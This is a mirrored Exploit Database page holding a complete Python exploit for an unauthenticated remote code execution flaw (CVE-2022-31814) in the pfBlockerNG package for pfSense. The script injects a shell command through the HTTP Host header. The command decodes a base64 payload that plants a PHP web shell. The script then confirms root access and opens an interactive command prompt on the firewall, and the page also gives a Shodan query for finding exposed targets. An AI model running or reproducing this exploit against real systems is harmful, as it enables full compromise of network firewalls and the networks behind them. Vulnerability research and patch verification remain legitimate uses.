pfBlockerNG 2.1.4_26 – Remote Code Execution (RCE)

• Exploit Database
• 16 阅读

• 作者： IHTeam
  日期： 2023-02-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51032/

• # Exploit Title: pfBlockerNG 2.1.4_26 - Remote Code Execution (RCE)
  # Shodan Results: https://www.shodan.io/search?query=http.title%3A%22pfSense+-+Login%22+%22Server%3A+nginx%22+%22Set-Cookie%3A+PHPSESSID%3D%22
  # Date: 5th of September 2022
  # Exploit Author: IHTeam
  # Vendor Homepage: https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
  # Software Link: https://github.com/pfsense/FreeBSD-ports/pull/1169
  # Version: 2.1.4_26
  # Tested on: pfSense 2.6.0
  # CVE : CVE-2022-31814
  # Original Advisory: https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/
   
  #!/usr/bin/env python3
  import argparse
  import requests
  import time
  import sys
  import urllib.parse
  from requests.packages.urllib3.exceptions import InsecureRequestWarning
   
  requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
   
  parser = argparse.ArgumentParser(description="pfBlockerNG <= 2.1.4_26 Unauth RCE")
  parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: https://192.168.1.111:443/")
  args = parser.parse_args()
   
  url = args.url
  shell_filename = "system_advanced_control.php"
   
  def check_endpoint(url):
  	response = requests.get('%s/pfblockerng/www/index.php' % (url), verify=False)
  	if response.status_code == 200:
  		print("[+] pfBlockerNG is installed")
  	else:
  		print("\n[-] pfBlockerNG not installed")
  		sys.exit()
   
  def upload_shell(url, shell_filename):
  	payload = {"Host":"' *; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+'|python3.8 -m base64 -d | php; '"}
  	print("[/] Uploading shell...")
  	response = requests.get('%s/pfblockerng/www/index.php' % (url), headers=payload, verify=False)
  	time.sleep(2)
  	response = requests.get('%s/system_advanced_control.php?c=id' % (url), verify=False)
  	if ('uid=0(root) gid=0(wheel)' in str(response.content, 'utf-8')):
  		print("[+] Upload succeeded")
  	else:
  		print("\n[-] Error uploading shell. Probably patched ", response.content)
  		sys.exit()
   
  def interactive_shell(url, shell_filename, cmd):
  	response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(cmd, safe='')), verify=False)
  	print(str(response.text)+"\n")
   
   
  def delete_shell(url, shell_filename):
  	delcmd = "rm /usr/local/www/system_advanced_control.php"
  	response = requests.get('%s/system_advanced_control.php?c=%s' % (url, urllib.parse.quote(delcmd, safe='')), verify=False)
  	print("\n[+] Shell deleted")
   
  check_endpoint(url)
  upload_shell(url, shell_filename)
  try:
  	while True:
  		cmd = input("# ")
  		interactive_shell(url, shell_filename, cmd)
  except:
  	delete_shell(url, shell_filename)